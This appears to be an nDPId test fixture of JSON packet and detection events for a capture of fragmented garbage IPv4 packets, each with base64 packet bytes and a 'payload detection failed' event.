+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907752,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907816,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907837,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907845,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907853,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907871,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907878,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907902,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907965,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907989,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908001,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908015,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908028,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908093,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908105,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908144,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908166,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908215,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908223,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908231,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908238,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908249,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 